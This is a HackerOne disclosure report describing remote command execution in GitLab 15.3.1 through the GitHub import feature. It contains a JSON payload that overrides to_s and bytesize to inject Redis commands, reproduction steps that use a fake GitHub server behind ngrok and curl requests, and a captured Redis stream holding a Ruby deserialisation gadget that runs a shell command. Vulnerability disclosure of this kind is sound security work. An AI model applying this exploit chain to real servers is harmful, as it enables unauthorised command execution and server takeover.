Remote Command Execution via Github import

HackerOne report #1679624 by vakzz on 2022-08-25, assigned to @dcouture:

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Summary

This is very similar to https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/#Remote%20Command%20Execution%20via%20Github%20import and allows arbitrary redis commands to be injected when imported a GitHub repository.

When importing a GitHub repo the api client uses Sawyer for handling the responses. This takes a json hash and converts it into a ruby class that has methods matching all of the keys:

https://github.com/lostisland/sawyer/blob/v0.9.2/lib/sawyer/resource.rb#L106-L110

    def self.attr_accessor(*attrs)  
      attrs.each do |attribute|  
        class_eval do  
          define_method attribute do  
            [@]attrs[attribute.to_sym]  
          end

          define_method "#{attribute}=" do |value|  
            [@]attrs[attribute.to_sym] = value  
          end

          define_method "#{attribute}?" do  
            !![@]attrs[attribute.to_sym]  
          end  
        end  
      end  
    end  

This happens recursively, and allows for any method to be overridden including built-in methods such as to_s.

The redis gem uses to_s and bytesize to generate the RESP command, so if a Sawyer::Resource is ever passed in that has a controllable hash it can allow arbitrary redis commands to be injected into the stream as the string will be shorter than the $ size provided (see https://redis.io/docs/reference/protocol-spec/)

https://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L20

            i = i.to_s  
            command << "$#{i.bytesize}"  
            command << i  

The patch for CVE-2022-2884 added validation to Gitlab::Cache::Import::Caching but there is another spot where the Sawyer::Resource is passed to redis:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/github_import/importer/repository_importer.rb#L55

       def import_repository  
          project.ensure_repository

          refmap = Gitlab::GithubImport.refmap  
          project.repository.fetch_as_mirror(project.import_url, refmap: refmap, forced: true)

          project.change_head(default_branch) if default_branch

          # The initial fetch can bring in lots of loose refs and objects.  
          # Running a `git gc` will make importing pull requests faster.  
          Repositories::HousekeepingService.new(project, :gc).execute

          true  
        end  

The default_branch param comes from the client repository (which is a nested Sawyer::Resource of attacker controlled data), and is passed to change_head which then calls branch_exists? and branch_names_include? which passes the value to redis:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/repository_cache_adapter.rb#L71

        define_method("#{name}_include?") do |value|  
          ivar = "@#{name}_include"  
          memoized = instance_variable_get(ivar) || {}  
          lookup = proc { __send__(name).include?(value) } # rubocop:disable GitlabSecurity/PublicSend

          next memoized[value] if memoized.key?(value)

          memoized[value] =  
            if strong_memoized?(name)  
              lookup.call  
            else  
              result, exists = redis_set_cache.try_include?(name, value)

              exists ? result : lookup.call  
            end

          instance_variable_set(ivar, memoized)[value]  
        end  

So by returning an api response with a default_branch that overrides to_s and bytesize you can call arbitrary redis commands:

        {  
            "default_branch": {  
                "to_s": {  
                    "to_s": 'ggg\r\nINJECT_RESP_HERE',  
                    "bytesize": 3,  
                }  
            }  
        }  

This can be combined with a call to Marshal.load when loading a _gitlab_session to execute a deserialisation gadget (such as https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) and gain RCE.

Steps to reproduce

1. edit and change the command at git_set, that will be the command that is executed
2. change the session:gitlab:gggg to be something other than gggg
3. run ruby ./gen_payload3.rb and copy the payload
4. edit and update the payload
5. run ngrok http 5000 and copy the url
6. edit fake_server3.py and update the ngrok url
7. run the server with FLASK_APP=fake_server3.py flask run
8. run curl --request POST --url "http://gitlab.wbowling.info/api/v4/import/github" --header "content-type: application/json" --header "PRIVATE-TOKEN: API_TOKEN" --data "{\"personal_access_token\": \"fake_token\",\"repo_id\": \"12345\",\"target_namespace\": \"root\",\"new_name\": \"gh-import-$RANDOM\",\"github_hostname\": \"https://9895-45-248-49-157.ngrok.io\"}" replacing gitlab.wbowling.info with your gitlab url, API_TOKEN with a valid gitlab token, target_namespace with a namespace you have access to, and github_hostname with your ngrok url
9. wait a minute or so, you should see requests coming in to the flask app. Once you see a request for /api/v3/repos/fake/name that should be long enough, there will also be an error in /var/log/gitlab/gitlab-rails/exceptions_json.log about comparison of String with 0 failed
10. run curl -v 'http://gitlab.wbowling.info/root' -H 'Cookie: _gitlab_session=gggg' replacing gitlab.wbowling.info with your gitlab url and gggg with the string you used in gen_payload3.rb
11. the payload should have executed

Impact

Allows an attacker with the ability to import a github repo to execute arbitrary commands on the server

Examples

See attached scripts and steps to reproduce

What is the current bug behavior?

The Sawyer::Resource object is passed around and allows an attacker to override builtin methods

What is the expected correct behavior?

The Sawyer::Resource has a to_h method which could potentially be used to ensure a plain has it passed around.

Relevant logs and/or screenshots

redis command ends up as:

[pid  1362] read(67, "*1\r\n$5\r\nmulti\r\n*3\r\n$9\r\nsismember\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n$3\r\nggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$330\r\n\4\10[\10c\25Gem::SpecFetcherc\23Gem::InstallerU:\25Gem::Requirement[\6o:\34Gem::Package::TarReader\6:\10@ioo:\24Net::BufferedIO\7;\7o:#Gem::Package::TarReader::Entry\7:\n@readi\0:\f@headerI\"\10aaa\6:\6ET:\22@debug_outputo:\26Net::WriteAdapter\7:\f@socketo:\24Gem::RequestSet\7:\n@setso;\16\7;\17m\vKernel:\17@method_id:\vsystem:\r@git_setI\"\33echo id > /tmp/vakzz22\6;\fT;\22:\fresolve\r\n*2\r\n$6\r\nexists\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n*1\r\n$4\r\nexec\r\n", 16384) = 570  

error in the logs

{"severity":"ERROR","time":"2022-08-25T03:57:55.006Z","correlation_id":"01GB9JCB7TYNH6F7J7W7NFQTDT","exception.class":"ArgumentError","exception.message":"comparison of String with 0 failed","exception.backtrace":["lib/gitlab/set_cache.rb:60:in `block in try_include?'","lib/gitlab/redis/wrapper.rb:23:in `block in with'","lib/gitlab/redis/wrapper.rb:23:in `with'","lib/gitlab/set_cache.rb:74:in `with'","lib/gitlab/set_cache.rb:59:in `try_include?'","lib/gitlab/repository_cache_adapter.rb:71:in `block in cache_method_as_redis_set'","app/models/repository.rb:288:in `branch_exists?'","app/models/repository.rb:1161:in `change_head'","app/models/concerns/has_repository.rb:17:in `change_head'","lib/gitlab/github_import/importer/repository_importer.rb:55:in `import_repository'","lib/gitlab/github_import/importer/repository_importer.rb:37:in `execute'","app/workers/gitlab/github_import/stage/import_repository_worker.rb:31:in `import'","app/workers/concerns/gitlab/github_import/stage_methods.rb:37:in `try_import'","app/workers/concerns/gitlab/github_import/stage_methods.rb:20:in `perform'","lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb:26:in `call'","lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing.rb:16:in `perform'","lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb:58:in `perform'","lib/gitlab/sidekiq_middleware/duplicate_jobs/server.rb:8:in `call'","lib/gitlab/sidekiq_middleware/worker_context.rb:9:in `wrap_in_optional_context'","lib/gitlab/sidekiq_middleware/worker_context/server.rb:19:in `block in call'","lib/gitlab/application_context.rb:110:in `block in use'","lib/gitlab/application_context.rb:110:in `use'","lib/gitlab/application_context.rb:52:in `with_context'","lib/gitlab/sidekiq_middleware/worker_context/server.rb:17:in `call'","lib/gitlab/sidekiq_status/server_middleware.rb:7:in `call'","lib/gitlab/sidekiq_versioning/middleware.rb:9:in `call'","lib/gitlab/sidekiq_middleware/query_analyzer.rb:7:in `block in call'","lib/gitlab/database/query_analyzer.rb:37:in `within'","lib/gitlab/sidekiq_middleware/query_analyzer.rb:7:in `call'","lib/gitlab/sidekiq_middleware/admin_mode/server.rb:14:in `call'","lib/gitlab/sidekiq_middleware/instrumentation_logger.rb:9:in `call'","lib/gitlab/sidekiq_middleware/batch_loader.rb:7:in `call'","lib/gitlab/sidekiq_middleware/extra_done_log_metadata.rb:7:in `call'","lib/gitlab/sidekiq_middleware/request_store_middleware.rb:10:in `block in call'","lib/gitlab/with_request_store.rb:17:in `enabling_request_store'","lib/gitlab/with_request_store.rb:10:in `with_request_store'","lib/gitlab/sidekiq_middleware/request_store_middleware.rb:9:in `call'","lib/gitlab/sidekiq_middleware/server_metrics.rb:76:in `block in call'","lib/gitlab/sidekiq_middleware/server_metrics.rb:103:in `block in instrument'","lib/gitlab/metrics/background_transaction.rb:33:in `run'","lib/gitlab/sidekiq_middleware/server_metrics.rb:103:in `instrument'","lib/gitlab/sidekiq_middleware/server_metrics.rb:75:in `call'","lib/gitlab/sidekiq_middleware/monitor.rb:10:in `block in call'","lib/gitlab/sidekiq_daemon/monitor.rb:49:in `within_job'","lib/gitlab/sidekiq_middleware/monitor.rb:9:in `call'","lib/gitlab/sidekiq_middleware/size_limiter/server.rb:13:in `call'","lib/gitlab/sidekiq_logging/structured_logger.rb:21:in `call'"],"user.username":"root","tags.program":"sidekiq","tags.locale":"en","tags.feature_category":"importers","tags.correlation_id":"01GB9JCB7TYNH6F7J7W7NFQTDT","extra.sidekiq":{"retry":5,"queue":"github_importer:github_import_stage_import_repository","version":0,"queue_namespace":"github_importer","dead":false,"memory_killer_memory_growth_kb":50,"memory_killer_max_memory_growth_kb":300000,"status_expiration":1800,"args":["[FILTERED]"],"class":"Gitlab::GithubImport::Stage::ImportRepositoryWorker","jid":"f6fd0ce785d6cc8e91b5b776","created_at":1661399872.1377518,"correlation_id":"01GB9JCB7TYNH6F7J7W7NFQTDT","meta.caller_id":"RepositoryImportWorker","meta.remote_ip":"192.168.0.149","meta.feature_category":"importers","meta.user":"root","meta.project":"root/gh-import-7316","meta.root_namespace":"root","meta.client_id":"user/1","meta.root_caller_id":"POST /api/:version/import/github","worker_data_consistency":"always","idempotency_key":"resque:gitlab:duplicate:github_importer:github_import_stage_import_repository:797f481f035041a27c840a58899f1557fc2a102dfc05bc2cb918651c86da1219","size_limiter":"validated","enqueued_at":1661399872.1395159},"extra.import_type":"github","extra.project_id":102,"extra.source":"Gitlab::GithubImport::Stage::ImportRepositoryWorker"}  

Output of checks

Results of GitLab environment info

System information  
System:		Ubuntu 20.04  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.7.5p203  
Gem Version:	3.1.6  
Bundler Version:2.3.15  
Rake Version:	13.0.6  
Redis Version:	6.2.7  
Sidekiq Version:6.4.0  
Go Version:	unknown

GitLab information  
Version:	15.3.1-ee  
Revision:	518311979e3  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	12.10  
URL:		http://gitlab.wbowling.info  
HTTP Clone URL:	http://gitlab.wbowling.info/some-group/some-project.git  
SSH Clone URL:	git@gitlab.wbowling.info:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers:

GitLab Shell  
Version:	14.10.0  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  

Impact

Allows an attacker with the ability to import a github repo to execute arbitrary commands on the server

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

• fake_server3.py
• gen_payload3.rb

How To Reproduce

Please add reproducibility information to this section: